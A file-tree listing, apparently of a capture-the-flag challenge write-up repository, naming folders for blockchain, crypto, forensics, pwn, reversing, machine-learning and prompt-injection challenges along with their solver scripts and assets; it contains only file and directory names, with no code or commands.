│ │ │ │ │ │ ├── GovernorTimelockCompound.test.js
│ │ │ │ │ │ ├── GovernorTimelockControl.test.js
│ │ │ │ │ │ ├── GovernorVotesQuorumFraction.test.js
│ │ │ │ │ │ └── GovernorWithParams.test.js
│ │ │ │ │ └── utils
│ │ │ │ │ │ ├── ERC6372.behavior.js
│ │ │ │ │ │ ├── Votes.behavior.js
│ │ │ │ │ │ ├── Votes.test.js
│ │ │ │ │ │ └── VotesExtended.test.js
│ │ │ │ │ ├── helpers
│ │ │ │ │ ├── access-manager.js
│ │ │ │ │ ├── account.js
│ │ │ │ │ ├── chains.js
│ │ │ │ │ ├── constants.js
│ │ │ │ │ ├── deploy.js
│ │ │ │ │ ├── eip712-types.js
│ │ │ │ │ ├── eip712.js
│ │ │ │ │ ├── enums.js
│ │ │ │ │ ├── erc4337.js
│ │ │ │ │ ├── erc7579.js
│ │ │ │ │ ├── governance.js
│ │ │ │ │ ├── iterate.js
│ │ │ │ │ ├── math.js
│ │ │ │ │ ├── methods.js
│ │ │ │ │ ├── random.js
│ │ │ │ │ ├── storage.js
│ │ │ │ │ ├── strings.js
│ │ │ │ │ ├── time.js
│ │ │ │ │ └── txpool.js
│ │ │ │ │ ├── metatx
│ │ │ │ │ ├── ERC2771Context.test.js
│ │ │ │ │ ├── ERC2771Forwarder.t.sol
│ │ │ │ │ └── ERC2771Forwarder.test.js
│ │ │ │ │ ├── proxy
│ │ │ │ │ ├── Clones.behaviour.js
│ │ │ │ │ ├── Clones.t.sol
│ │ │ │ │ ├── Clones.test.js
│ │ │ │ │ ├── ERC1967
│ │ │ │ │ │ ├── ERC1967Proxy.test.js
│ │ │ │ │ │ └── ERC1967Utils.test.js
│ │ │ │ │ ├── Proxy.behaviour.js
│ │ │ │ │ ├── beacon
│ │ │ │ │ │ ├── BeaconProxy.test.js
│ │ │ │ │ │ └── UpgradeableBeacon.test.js
│ │ │ │ │ ├── transparent
│ │ │ │ │ │ ├── ProxyAdmin.test.js
│ │ │ │ │ │ ├── TransparentUpgradeableProxy.behaviour.js
│ │ │ │ │ │ └── TransparentUpgradeableProxy.test.js
│ │ │ │ │ └── utils
│ │ │ │ │ │ ├── Initializable.test.js
│ │ │ │ │ │ └── UUPSUpgradeable.test.js
│ │ │ │ │ ├── sanity.test.js
│ │ │ │ │ ├── token
│ │ │ │ │ ├── ERC1155
│ │ │ │ │ │ ├── ERC1155.behavior.js
│ │ │ │ │ │ ├── ERC1155.test.js
│ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ ├── ERC1155Burnable.test.js
│ │ │ │ │ │ │ ├── ERC1155Pausable.test.js
│ │ │ │ │ │ │ ├── ERC1155Supply.test.js
│ │ │ │ │ │ │ └── ERC1155URIStorage.test.js
│ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ ├── ERC1155Holder.test.js
│ │ │ │ │ │ │ └── ERC1155Utils.test.js
│ │ │ │ │ ├── ERC20
│ │ │ │ │ │ ├── ERC20.behavior.js
│ │ │ │ │ │ ├── ERC20.test.js
│ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ ├── ERC1363.test.js
│ │ │ │ │ │ │ ├── ERC20Burnable.test.js
│ │ │ │ │ │ │ ├── ERC20Capped.test.js
│ │ │ │ │ │ │ ├── ERC20FlashMint.test.js
│ │ │ │ │ │ │ ├── ERC20Pausable.test.js
│ │ │ │ │ │ │ ├── ERC20Permit.test.js
│ │ │ │ │ │ │ ├── ERC20Votes.test.js
│ │ │ │ │ │ │ ├── ERC20Wrapper.test.js
│ │ │ │ │ │ │ ├── ERC4626.t.sol
│ │ │ │ │ │ │ ├── ERC4626.test.js
│ │ │ │ │ │ │ └── draft-ERC20TemporaryApproval.test.js
│ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ └── SafeERC20.test.js
│ │ │ │ │ ├── ERC721
│ │ │ │ │ │ ├── ERC721.behavior.js
│ │ │ │ │ │ ├── ERC721.test.js
│ │ │ │ │ │ ├── ERC721Enumerable.test.js
│ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ ├── ERC721Burnable.test.js
│ │ │ │ │ │ │ ├── ERC721Consecutive.t.sol
│ │ │ │ │ │ │ ├── ERC721Consecutive.test.js
│ │ │ │ │ │ │ ├── ERC721Pausable.test.js
│ │ │ │ │ │ │ ├── ERC721Royalty.test.js
│ │ │ │ │ │ │ ├── ERC721URIStorage.test.js
│ │ │ │ │ │ │ ├── ERC721Votes.test.js
│ │ │ │ │ │ │ └── ERC721Wrapper.test.js
│ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ ├── ERC721Holder.test.js
│ │ │ │ │ │ │ └── ERC721Utils.test.js
│ │ │ │ │ └── common
│ │ │ │ │ │ └── ERC2981.behavior.js
│ │ │ │ │ └── utils
│ │ │ │ │ ├── Address.test.js
│ │ │ │ │ ├── Arrays.t.sol
│ │ │ │ │ ├── Arrays.test.js
│ │ │ │ │ ├── Base64.t.sol
│ │ │ │ │ ├── Base64.test.js
│ │ │ │ │ ├── Bytes.test.js
│ │ │ │ │ ├── CAIP.test.js
│ │ │ │ │ ├── Context.behavior.js
│ │ │ │ │ ├── Context.test.js
│ │ │ │ │ ├── Create2.t.sol
│ │ │ │ │ ├── Create2.test.js
│ │ │ │ │ ├── Multicall.test.js
│ │ │ │ │ ├── Nonces.behavior.js
│ │ │ │ │ ├── Nonces.test.js
│ │ │ │ │ ├── NoncesKeyed.test.js
│ │ │ │ │ ├── Packing.t.sol
│ │ │ │ │ ├── Packing.test.js
│ │ │ │ │ ├── Panic.test.js
│ │ │ │ │ ├── Pausable.test.js
│ │ │ │ │ ├── ReentrancyGuard.test.js
│ │ │ │ │ ├── ShortStrings.t.sol
│ │ │ │ │ ├── ShortStrings.test.js
│ │ │ │ │ ├── SlotDerivation.t.sol
│ │ │ │ │ ├── SlotDerivation.test.js
│ │ │ │ │ ├── StorageSlot.test.js
│ │ │ │ │ ├── Strings.t.sol
│ │ │ │ │ ├── Strings.test.js
│ │ │ │ │ ├── TransientSlot.test.js
│ │ │ │ │ ├── cryptography
│ │ │ │ │ ├── ECDSA.test.js
│ │ │ │ │ ├── EIP712.test.js
│ │ │ │ │ ├── MerkleProof.test.js
│ │ │ │ │ ├── MessageHashUtils.test.js
│ │ │ │ │ ├── P256.t.sol
│ │ │ │ │ ├── P256.test.js
│ │ │ │ │ ├── RSA.helper.js
│ │ │ │ │ ├── RSA.test.js
│ │ │ │ │ ├── SigVer15_186-3.rsp
│ │ │ │ │ ├── SignatureChecker.test.js
│ │ │ │ │ └── ecdsa_secp256r1_sha256_p1363_test.json
│ │ │ │ │ ├── introspection
│ │ │ │ │ ├── ERC165.test.js
│ │ │ │ │ ├── ERC165Checker.test.js
│ │ │ │ │ └── SupportsInterface.behavior.js
│ │ │ │ │ ├── math
│ │ │ │ │ ├── Math.t.sol
│ │ │ │ │ ├── Math.test.js
│ │ │ │ │ ├── SafeCast.test.js
│ │ │ │ │ ├── SignedMath.t.sol
│ │ │ │ │ └── SignedMath.test.js
│ │ │ │ │ ├── structs
│ │ │ │ │ ├── BitMap.test.js
│ │ │ │ │ ├── Checkpoints.t.sol
│ │ │ │ │ ├── Checkpoints.test.js
│ │ │ │ │ ├── CircularBuffer.test.js
│ │ │ │ │ ├── DoubleEndedQueue.test.js
│ │ │ │ │ ├── EnumerableMap.behavior.js
│ │ │ │ │ ├── EnumerableMap.test.js
│ │ │ │ │ ├── EnumerableSet.behavior.js
│ │ │ │ │ ├── EnumerableSet.test.js
│ │ │ │ │ ├── Heap.t.sol
│ │ │ │ │ ├── Heap.test.js
│ │ │ │ │ └── MerkleTree.test.js
│ │ │ │ │ └── types
│ │ │ │ │ └── Time.test.js
│ │ │ │ ├── logo.svg
│ │ │ │ ├── netlify.toml
│ │ │ │ ├── package-lock.json
│ │ │ │ ├── package.json
│ │ │ │ ├── remappings.txt
│ │ │ │ ├── renovate.json
│ │ │ │ ├── scripts
│ │ │ │ ├── checks
│ │ │ │ │ ├── compare-layout.js
│ │ │ │ │ ├── compareGasReports.js
│ │ │ │ │ ├── coverage.sh
│ │ │ │ │ ├── extract-layout.js
│ │ │ │ │ ├── generation.sh
│ │ │ │ │ ├── inheritance-ordering.js
│ │ │ │ │ └── pragma-consistency.js
│ │ │ │ ├── gen-nav.js
│ │ │ │ ├── generate
│ │ │ │ │ ├── format-lines.js
│ │ │ │ │ ├── helpers
│ │ │ │ │ │ └── sanitize.js
│ │ │ │ │ ├── run.js
│ │ │ │ │ └── templates
│ │ │ │ │ │ ├── Arrays.js
│ │ │ │ │ │ ├── Arrays.opts.js
│ │ │ │ │ │ ├── Checkpoints.js
│ │ │ │ │ │ ├── Checkpoints.opts.js
│ │ │ │ │ │ ├── Checkpoints.t.js
│ │ │ │ │ │ ├── EnumerableMap.js
│ │ │ │ │ │ ├── EnumerableMap.opts.js
│ │ │ │ │ │ ├── EnumerableSet.js
│ │ │ │ │ │ ├── EnumerableSet.opts.js
│ │ │ │ │ │ ├── MerkleProof.js
│ │ │ │ │ │ ├── MerkleProof.opts.js
│ │ │ │ │ │ ├── Packing.js
│ │ │ │ │ │ ├── Packing.opts.js
│ │ │ │ │ │ ├── Packing.t.js
│ │ │ │ │ │ ├── SafeCast.js
│ │ │ │ │ │ ├── Slot.opts.js
│ │ │ │ │ │ ├── SlotDerivation.js
│ │ │ │ │ │ ├── SlotDerivation.t.js
│ │ │ │ │ │ ├── StorageSlot.js
│ │ │ │ │ │ ├── StorageSlotMock.js
│ │ │ │ │ │ ├── TransientSlot.js
│ │ │ │ │ │ ├── TransientSlotMock.js
│ │ │ │ │ │ └── conversion.js
│ │ │ │ ├── git-user-config.sh
│ │ │ │ ├── helpers.js
│ │ │ │ ├── prepack.sh
│ │ │ │ ├── prepare-docs.sh
│ │ │ │ ├── prepare.sh
│ │ │ │ ├── remove-ignored-artifacts.js
│ │ │ │ ├── solhint-custom
│ │ │ │ │ ├── index.js
│ │ │ │ │ └── package.json
│ │ │ │ ├── update-docs-branch.js
│ │ │ │ └── upgradeable
│ │ │ │ │ ├── README.md
│ │ │ │ │ ├── patch-apply.sh
│ │ │ │ │ ├── patch-save.sh
│ │ │ │ │ ├── transpile-onto.sh
│ │ │ │ │ ├── transpile.sh
│ │ │ │ │ └── upgradeable.patch
│ │ │ │ ├── slither.config.json
│ │ │ │ ├── solhint.config.js
│ │ │ │ └── test
│ │ │ │ ├── TESTING.md
│ │ │ │ ├── access
│ │ │ │ ├── AccessControl.behavior.js
│ │ │ │ ├── AccessControl.test.js
│ │ │ │ ├── Ownable.test.js
│ │ │ │ ├── Ownable2Step.test.js
│ │ │ │ ├── extensions
│ │ │ │ │ ├── AccessControlDefaultAdminRules.test.js
│ │ │ │ │ └── AccessControlEnumerable.test.js
│ │ │ │ └── manager
│ │ │ │ │ ├── AccessManaged.test.js
│ │ │ │ │ ├── AccessManager.behavior.js
│ │ │ │ │ ├── AccessManager.predicate.js
│ │ │ │ │ ├── AccessManager.test.js
│ │ │ │ │ └── AuthorityUtils.test.js
│ │ │ │ ├── account
│ │ │ │ └── utils
│ │ │ │ │ ├── draft-ERC4337Utils.test.js
│ │ │ │ │ └── draft-ERC7579Utils.test.js
│ │ │ │ ├── finance
│ │ │ │ ├── VestingWallet.behavior.js
│ │ │ │ ├── VestingWallet.test.js
│ │ │ │ └── VestingWalletCliff.test.js
│ │ │ │ ├── governance
│ │ │ │ ├── Governor.t.sol
│ │ │ │ ├── Governor.test.js
│ │ │ │ ├── TimelockController.test.js
│ │ │ │ ├── extensions
│ │ │ │ │ ├── GovernorCountingFractional.test.js
│ │ │ │ │ ├── GovernorCountingOverridable.test.js
│ │ │ │ │ ├── GovernorERC721.test.js
│ │ │ │ │ ├── GovernorPreventLateQuorum.test.js
│ │ │ │ │ ├── GovernorStorage.test.js
│ │ │ │ │ ├── GovernorTimelockAccess.test.js
│ │ │ │ │ ├── GovernorTimelockCompound.test.js
│ │ │ │ │ ├── GovernorTimelockControl.test.js
│ │ │ │ │ ├── GovernorVotesQuorumFraction.test.js
│ │ │ │ │ └── GovernorWithParams.test.js
│ │ │ │ └── utils
│ │ │ │ │ ├── ERC6372.behavior.js
│ │ │ │ │ ├── Votes.behavior.js
│ │ │ │ │ ├── Votes.test.js
│ │ │ │ │ └── VotesExtended.test.js
│ │ │ │ ├── helpers
│ │ │ │ ├── access-manager.js
│ │ │ │ ├── account.js
│ │ │ │ ├── chains.js
│ │ │ │ ├── constants.js
│ │ │ │ ├── deploy.js
│ │ │ │ ├── eip712-types.js
│ │ │ │ ├── eip712.js
│ │ │ │ ├── enums.js
│ │ │ │ ├── erc4337.js
│ │ │ │ ├── erc7579.js
│ │ │ │ ├── governance.js
│ │ │ │ ├── iterate.js
│ │ │ │ ├── math.js
│ │ │ │ ├── methods.js
│ │ │ │ ├── random.js
│ │ │ │ ├── storage.js
│ │ │ │ ├── strings.js
│ │ │ │ ├── time.js
│ │ │ │ └── txpool.js
│ │ │ │ ├── metatx
│ │ │ │ ├── ERC2771Context.test.js
│ │ │ │ ├── ERC2771Forwarder.t.sol
│ │ │ │ └── ERC2771Forwarder.test.js
│ │ │ │ ├── proxy
│ │ │ │ ├── Clones.behaviour.js
│ │ │ │ ├── Clones.t.sol
│ │ │ │ ├── Clones.test.js
│ │ │ │ ├── ERC1967
│ │ │ │ │ ├── ERC1967Proxy.test.js
│ │ │ │ │ └── ERC1967Utils.test.js
│ │ │ │ ├── Proxy.behaviour.js
│ │ │ │ ├── beacon
│ │ │ │ │ ├── BeaconProxy.test.js
│ │ │ │ │ └── UpgradeableBeacon.test.js
│ │ │ │ ├── transparent
│ │ │ │ │ ├── ProxyAdmin.test.js
│ │ │ │ │ ├── TransparentUpgradeableProxy.behaviour.js
│ │ │ │ │ └── TransparentUpgradeableProxy.test.js
│ │ │ │ └── utils
│ │ │ │ │ ├── Initializable.test.js
│ │ │ │ │ └── UUPSUpgradeable.test.js
│ │ │ │ ├── sanity.test.js
│ │ │ │ ├── token
│ │ │ │ ├── ERC1155
│ │ │ │ │ ├── ERC1155.behavior.js
│ │ │ │ │ ├── ERC1155.test.js
│ │ │ │ │ ├── extensions
│ │ │ │ │ │ ├── ERC1155Burnable.test.js
│ │ │ │ │ │ ├── ERC1155Pausable.test.js
│ │ │ │ │ │ ├── ERC1155Supply.test.js
│ │ │ │ │ │ └── ERC1155URIStorage.test.js
│ │ │ │ │ └── utils
│ │ │ │ │ │ ├── ERC1155Holder.test.js
│ │ │ │ │ │ └── ERC1155Utils.test.js
│ │ │ │ ├── ERC20
│ │ │ │ │ ├── ERC20.behavior.js
│ │ │ │ │ ├── ERC20.test.js
│ │ │ │ │ ├── extensions
│ │ │ │ │ │ ├── ERC1363.test.js
│ │ │ │ │ │ ├── ERC20Burnable.test.js
│ │ │ │ │ │ ├── ERC20Capped.test.js
│ │ │ │ │ │ ├── ERC20FlashMint.test.js
│ │ │ │ │ │ ├── ERC20Pausable.test.js
│ │ │ │ │ │ ├── ERC20Permit.test.js
│ │ │ │ │ │ ├── ERC20Votes.test.js
│ │ │ │ │ │ ├── ERC20Wrapper.test.js
│ │ │ │ │ │ ├── ERC4626.t.sol
│ │ │ │ │ │ ├── ERC4626.test.js
│ │ │ │ │ │ └── draft-ERC20TemporaryApproval.test.js
│ │ │ │ │ └── utils
│ │ │ │ │ │ └── SafeERC20.test.js
│ │ │ │ ├── ERC721
│ │ │ │ │ ├── ERC721.behavior.js
│ │ │ │ │ ├── ERC721.test.js
│ │ │ │ │ ├── ERC721Enumerable.test.js
│ │ │ │ │ ├── extensions
│ │ │ │ │ │ ├── ERC721Burnable.test.js
│ │ │ │ │ │ ├── ERC721Consecutive.t.sol
│ │ │ │ │ │ ├── ERC721Consecutive.test.js
│ │ │ │ │ │ ├── ERC721Pausable.test.js
│ │ │ │ │ │ ├── ERC721Royalty.test.js
│ │ │ │ │ │ ├── ERC721URIStorage.test.js
│ │ │ │ │ │ ├── ERC721Votes.test.js
│ │ │ │ │ │ └── ERC721Wrapper.test.js
│ │ │ │ │ └── utils
│ │ │ │ │ │ ├── ERC721Holder.test.js
│ │ │ │ │ │ └── ERC721Utils.test.js
│ │ │ │ └── common
│ │ │ │ │ └── ERC2981.behavior.js
│ │ │ │ └── utils
│ │ │ │ ├── Address.test.js
│ │ │ │ ├── Arrays.t.sol
│ │ │ │ ├── Arrays.test.js
│ │ │ │ ├── Base64.t.sol
│ │ │ │ ├── Base64.test.js
│ │ │ │ ├── Bytes.test.js
│ │ │ │ ├── CAIP.test.js
│ │ │ │ ├── Context.behavior.js
│ │ │ │ ├── Context.test.js
│ │ │ │ ├── Create2.t.sol
│ │ │ │ ├── Create2.test.js
│ │ │ │ ├── Multicall.test.js
│ │ │ │ ├── Nonces.behavior.js
│ │ │ │ ├── Nonces.test.js
│ │ │ │ ├── NoncesKeyed.test.js
│ │ │ │ ├── Packing.t.sol
│ │ │ │ ├── Packing.test.js
│ │ │ │ ├── Panic.test.js
│ │ │ │ ├── Pausable.test.js
│ │ │ │ ├── ReentrancyGuard.test.js
│ │ │ │ ├── ShortStrings.t.sol
│ │ │ │ ├── ShortStrings.test.js
│ │ │ │ ├── SlotDerivation.t.sol
│ │ │ │ ├── SlotDerivation.test.js
│ │ │ │ ├── StorageSlot.test.js
│ │ │ │ ├── Strings.t.sol
│ │ │ │ ├── Strings.test.js
│ │ │ │ ├── TransientSlot.test.js
│ │ │ │ ├── cryptography
│ │ │ │ ├── ECDSA.test.js
│ │ │ │ ├── EIP712.test.js
│ │ │ │ ├── MerkleProof.test.js
│ │ │ │ ├── MessageHashUtils.test.js
│ │ │ │ ├── P256.t.sol
│ │ │ │ ├── P256.test.js
│ │ │ │ ├── RSA.helper.js
│ │ │ │ ├── RSA.test.js
│ │ │ │ ├── SigVer15_186-3.rsp
│ │ │ │ ├── SignatureChecker.test.js
│ │ │ │ └── ecdsa_secp256r1_sha256_p1363_test.json
│ │ │ │ ├── introspection
│ │ │ │ ├── ERC165.test.js
│ │ │ │ ├── ERC165Checker.test.js
│ │ │ │ └── SupportsInterface.behavior.js
│ │ │ │ ├── math
│ │ │ │ ├── Math.t.sol
│ │ │ │ ├── Math.test.js
│ │ │ │ ├── SafeCast.test.js
│ │ │ │ ├── SignedMath.t.sol
│ │ │ │ └── SignedMath.test.js
│ │ │ │ ├── structs
│ │ │ │ ├── BitMap.test.js
│ │ │ │ ├── Checkpoints.t.sol
│ │ │ │ ├── Checkpoints.test.js
│ │ │ │ ├── CircularBuffer.test.js
│ │ │ │ ├── DoubleEndedQueue.test.js
│ │ │ │ ├── EnumerableMap.behavior.js
│ │ │ │ ├── EnumerableMap.test.js
│ │ │ │ ├── EnumerableSet.behavior.js
│ │ │ │ ├── EnumerableSet.test.js
│ │ │ │ ├── Heap.t.sol
│ │ │ │ ├── Heap.test.js
│ │ │ │ └── MerkleTree.test.js
│ │ │ │ └── types
│ │ │ │ └── Time.test.js
│ │ ├── out
│ │ │ ├── Eldorion.sol
│ │ │ │ └── Eldorion.json
│ │ │ ├── Exploit.sol
│ │ │ │ └── Exploit.json
│ │ │ └── build-info
│ │ │ │ └── 1064641c52b9d22414ab0a83ad4ed51f.json
│ │ └── remappings.txt
│ │ ├── requirements.txt
│ │ └── solver.py
└── HeliosDEX [Easy]
│ ├── README.md
│ ├── assets
│ ├── ChallengeBanner.png
│ └── EventBanner.jpg
│ └── htb
│ ├── .gitignore
│ ├── requirements.txt
│ └── solver.py
├── coding
├── coding_clockwork_gurdian
│ ├── README.md
│ └── htb
│ │ └── solver.py
├── coding_dragon_flight
│ ├── README.md
│ └── htb
│ │ └── solver.py
├── coding_dragon_fury
│ ├── README.md
│ └── htb
│ │ └── solver.py
├── coding_enchanted_cipher
│ ├── README.md
│ └── htb
│ │ └── solver.py
└── coding_summoners_incantation
│ ├── README.md
│ └── htb
│ └── solver.py
├── crypto
├── Copperbox
│ ├── Makefile
│ ├── README.md
│ └── htb
│ │ ├── output.txt
│ │ └── solver.py
├── Kewiri
│ ├── Makefile
│ ├── README.md
│ └── htb
│ │ └── solver.py
├── Prelim
│ ├── Makefile
│ ├── README.md
│ └── htb
│ │ ├── solver.py
│ │ └── tales.txt
├── Traces
│ ├── Makefile
│ ├── README.md
│ ├── assets
│ │ └── aes-ctr.ppm
│ └── htb
│ │ └── solver.py
├── Twin Oracles
│ ├── Makefile
│ ├── README.md
│ └── htb
│ │ └── solver.py
├── Verilicious
│ ├── Makefile
│ ├── README.md
│ └── htb
│ │ ├── output.txt
│ │ ├── pubkey.pem
│ │ └── solver.py
└── hourcle
│ ├── Makefile
│ ├── README.md
│ ├── assets
│ └── aes-cbc.png
│ └── htb
│ ├── solver.py
│ └── test.py
├── forensics
├── A New Hire
│ ├── Readme.md
│ ├── assets
│ │ ├── banner.png
│ │ ├── click.png
│ │ ├── htb.png
│ │ ├── jssource.png
│ │ ├── legit.png
│ │ ├── loading.png
│ │ ├── openapp.png
│ │ ├── ps.png
│ │ ├── search.png
│ │ └── security.png
│ └── docker_run.sh
├── Cave Expedition
│ ├── README.md
│ └── assets
│ │ ├── banner.png
│ │ └── htb.png
├── Silent Trap
│ ├── README.md
│ └── assets
│ │ ├── banner.png
│ │ ├── htb.png
│ │ ├── image-1.png
│ │ ├── image-10.png
│ │ ├── image-11.png
│ │ ├── image-12.png
│ │ ├── image-2.png
│ │ ├── image-3.png
│ │ ├── image-4.png
│ │ ├── image-5.png
│ │ ├── image-6.png
│ │ ├── image-7.png
│ │ ├── image-8.png
│ │ ├── image-9.png
│ │ └── image.png
├── Stealth Invasion
│ ├── README.md
│ └── assets
│ │ ├── banner.png
│ │ └── htb.png
├── Tales for the Brave
│ ├── .gitignore
│ ├── README.md
│ ├── assets
│ │ ├── api-monitor-fail.png
│ │ ├── api-monitor-start.png
│ │ ├── api-monitor-success.png
│ │ ├── ask-zip-password.png
│ │ ├── banner.png
│ │ ├── binary-strings.png
│ │ ├── decrypt-encrypted-token.png
│ │ ├── decrypted-strings-stage1.png
│ │ ├── decrypted-strings-stage2-from-listener.png
│ │ ├── detect-it-easy.png
│ │ ├── download-file.png
│ │ ├── encoded-flag.png
│ │ ├── find-file-path.png
│ │ ├── find-invite-link.png
│ │ ├── find-password.png
│ │ ├── form-submitted.png
│ │ ├── forwardmessage-docs.png
│ │ ├── found-index-js.png
│ │ ├── ghidra-main1.png
│ │ ├── ghidra-main2.png
│ │ ├── htb.png
│ │ ├── javascript-file-loaded.png
│ │ ├── second-stage-decrypted-unbeautified.png
│ │ ├── setup-listener.png
│ │ └── website.png
│ ├── build-docker.bat
│ ├── htb
│ │ └── decode.py
│ └── requirements.txt
├── Thorins Amulet
│ ├── README.md
│ └── assets
│ │ ├── banner.png
│ │ └── htb.png
└── ToolPie
│ ├── README.md
│ ├── assets
│ ├── Screenshot 2025-02-27 at 5.05.06 PM.png
│ ├── Screenshot 2025-03-04 at 3.48.45 PM.png
│ ├── banner.png
│ ├── htb.png
│ ├── http.png
│ ├── malicious_traffic.png
│ ├── normal_http.png
│ ├── pdf.png
│ ├── post_http.png
│ └── wireshark_stats.png
│ └── htb
│ ├── decompile.py
│ └── solver.py
├── machine_learning
├── ml_crystal_corruption
│ ├── README.md
│ ├── assets
│ │ ├── pic1.png
│ │ ├── pic2.png
│ │ └── pic3.png
│ └── htb
│ │ └── solver.py
├── ml_enchanted_weights
│ ├── README.md
│ └── htb
│ │ └── solver.py
├── ml_malakars_deception
│ ├── README.md
│ ├── assets
│ │ ├── pic1.png
│ │ └── pic2.png
│ └── htb
│ │ └── keras_layer_attack_solver.ipynb
├── ml_reverse_prompt
│ ├── README.md
│ ├── assets
│ │ └── pic1.png
│ └── htb
│ │ └── solver.ipynb
└── ml_wasteland
│ ├── README.md
│ └── htb
│ ├── .DS_Store
│ ├── Ashen_Outpost_Records.csv
│ └── solver.ipynb
├── prompt_injection
├── .DS_Store
├── ai-cursed-gatekeeper
│ ├── .DS_Store
│ ├── .gitignore
│ ├── README.md
│ ├── config
│ │ ├── nginx.conf
│ │ ├── redis.conf
│ │ └── supervisord.conf
│ ├── images
│ │ └── official_writeup
│ │ │ ├── 2025-02-01-04-47-45.png
│ │ │ ├── 2025-02-01-04-49-38.png
│ │ │ ├── 2025-02-01-04-51-07.png
│ │ │ ├── application-ui.png
│ │ │ └── prompt-injection.webp
│ ├── official_writeup.md
│ └── official_writeup.pdf
├── ai-elixir-emporium
│ ├── .gitignore
│ ├── README.md
│ ├── config
│ │ ├── nginx.conf
│ │ ├── redis.conf
│ │ └── supervisord.conf
│ ├── images
│ │ └── official_writeup
│ │ │ ├── 2025-03-17_01-29.png
│ │ │ ├── 2025-03-17_01-31.png
│ │ │ ├── 2025-03-17_01-32.png
│ │ │ ├── 2025-03-17_01-37.png
│ │ │ ├── 2025-03-17_01-40.png
│ │ │ ├── ai-prompt-flow.png
│ │ │ ├── application-ui.png
│ │ │ └── prompt-injection.webp
│ ├── official_writeup.md
│ └── official_writeup.pdf
├── ai-embassy-ai
│ ├── .gitignore
│ ├── README.md
│ ├── config
│ │ ├── nginx.conf
│ │ ├── redis.conf
│ │ └── supervisord.conf
│ ├── images
│ │ └── official_writeup
│ │ │ ├── 2025-01-02-21-59-42.png
│ │ │ ├── 2025-01-03-01-24-51.png
│ │ │ ├── 2025-03-16_03-51.png
│ │ │ ├── application-ui.png
│ │ │ ├── prompt-example.png
│ │ │ └── prompt-injection.webp
│ ├── official_writeup.md
│ └── official_writeup.pdf
├── ai-lunar-orb
│ ├── .gitignore
│ ├── README.md
│ ├── config
│ │ ├── nginx.conf
│ │ ├── redis.conf
│ │ └── supervisord.conf
│ ├── images
│ │ └── official_writeup
│ │ │ ├── 2024-12-24-20-25-35.png
│ │ │ ├── 2024-12-24-20-27-03.png
│ │ │ ├── 2024-12-24-20-28-30.png
│ │ │ ├── 2024-12-24-20-29-11.png
│ │ │ ├── application-ui.png
│ │ │ └── prompt-injection.webp
│ ├── official_writeup.md
│ └── official_writeup.pdf
└── ai-mirror-witch
│ ├── .gitignore
│ ├── README.md
│ ├── config
│ ├── nginx.conf
│ ├── redis.conf
│ └── supervisord.conf
│ ├── images
│ └── official_writeup
│ │ ├── 2025-01-21-03-13-25.png
│ │ ├── 2025-01-21-03-15-20.png
│ │ ├── 2025-01-21-03-18-17.png
│ │ ├── application-ui.png
│ │ └── prompt-injection.webp
│ ├── official_writeup.md
│ └── official_writeup.pdf
├── pwn
├── [Easy] Crossbow
│ ├── README.md
│ ├── assets
│ │ ├── banner.png
│ │ ├── htb.png
│ │ └── interface.png
│ └── htb
│ │ ├── crossbow
│ │ └── solver.py
├── [Easy] Laconic
│ ├── README.md
│ ├── assets
│ │ ├── banner.png
│ │ └── htb.png
│ └── htb
│ │ ├── laconic
│ │ └── solver.py
├── [Hard] Vault
│ ├── README.md
│ ├── assets
│ │ ├── banner.png
│ │ ├── crash1.png
│ │ ├── htb.png
│ │ ├── one_gadget.png
│ │ └── rbp.png
│ ├── htb
│ │ └── solve.py
│ └── prepare-challenge.sh
├── [Medium] Contractor
│ ├── README.md
│ ├── assets
│ │ ├── banner.png
│ │ ├── htb.png
│ │ └── interface.png
│ └── htb
│ │ ├── contractor
│ │ ├── flag.txt
│ │ ├── glibc
│ │ ├── ld-linux-x86-64.so.2
│ │ └── libc.so.6
│ │ └── solver.py
├── [Medium] Strategist
│ ├── README.md
│ ├── assets
│ │ ├── banner.png
│ │ ├── htb.png
│ │ ├── interface.png
│ │ └── vis1.png
│ └── htb
│ │ ├── glibc
│ │ ├── ld-linux-x86-64.so.2
│ │ └── libc.so.6
│ │ ├── solver.py
│ │ └── strategist
├── [Very Easy] Blessing
│ ├── README.md
│ ├── assets
│ │ ├── banner.png
│ │ ├── htb.png
│ │ └── inter.png
│ └── htb
│ │ ├── blessing
│ │ ├── glibc
│ │ ├── ld-linux-x86-64.so.2
│ │ └── libc.so.6
│ │ └── solver.py
└── [Very Easy] Quack Quack
│ ├── README.md
│ ├── assets
│ ├── banner.png
│ ├── htb.png
│ └── inter.png
│ └── htb
│ ├── glibc
│ ├── ld-linux-x86-64.so.2
│ └── libc.so.6
│ ├── quack_quack
│ └── solver.py
├── reversing
├── [Easy] EndlessCycle
│ └── README.md
├── [Easy] Impossimaze
│ └── README.md
├── [Hard] Gateway
│ ├── README.md
│ └── htb
│ │ └── solve.c
├── [Hard] Heart Protector
│ ├── Makefile
│ ├── README.md
│ ├── assets
│ │ ├── AESencryptwithcontext-inside.png
│ │ ├── checkKey-call.png
│ │ ├── checkKey-inside.png
│ │ ├── encryptImage-call.png
│ │ ├── encryptImage-inside.png
│ │ ├── ghidra-main-module.png
│ │ └── ghidra-main.png
│ └── htb
│ │ ├── decryptor.nim
│ │ └── recover_key.py
├── [Medium] Singlestep
│ ├── README.md
│ └── htb
│ │ ├── deobfuscator.py
│ │ └── flag.py
├── [Very Easy] EncryptedScroll
│ └── README.md
└── [Very Easy] SealedRune
│ └── README.md
├── secure_coding
├── Lyra's Tavern - Easy
│ ├── Makefile
│ ├── README.md
│ ├── assets
│ │ ├── banner.png
│ │ └── htb.png
│ ├── build_docker.sh
│ ├── config
│ │ ├── apache2.conf
│ │ ├── app.cgi
│ │ ├── cgi-bin.conf
│ │ ├── fpm.conf
│ │ ├── proper_config.ini
│ │ └── supervisord.conf
│ └── htb
│ │ └── app.cgi
├── Stoneforge's Domain
│ ├── Makefile
│ ├── README.md
│ ├── assets
│ │ ├── banner.png
│ │ └── htb.png
│ ├── build_docker.sh
│ ├── config
│ │ ├── nginx.conf
│ │ ├── postgresql.conf
│ │ └── supervisord.conf
│ └── htb
│ │ └── nginx.conf
└── secure_coding_arcane_auctions
│ ├── README.md
│ ├── assets
│ └── flag.png
│ ├── config
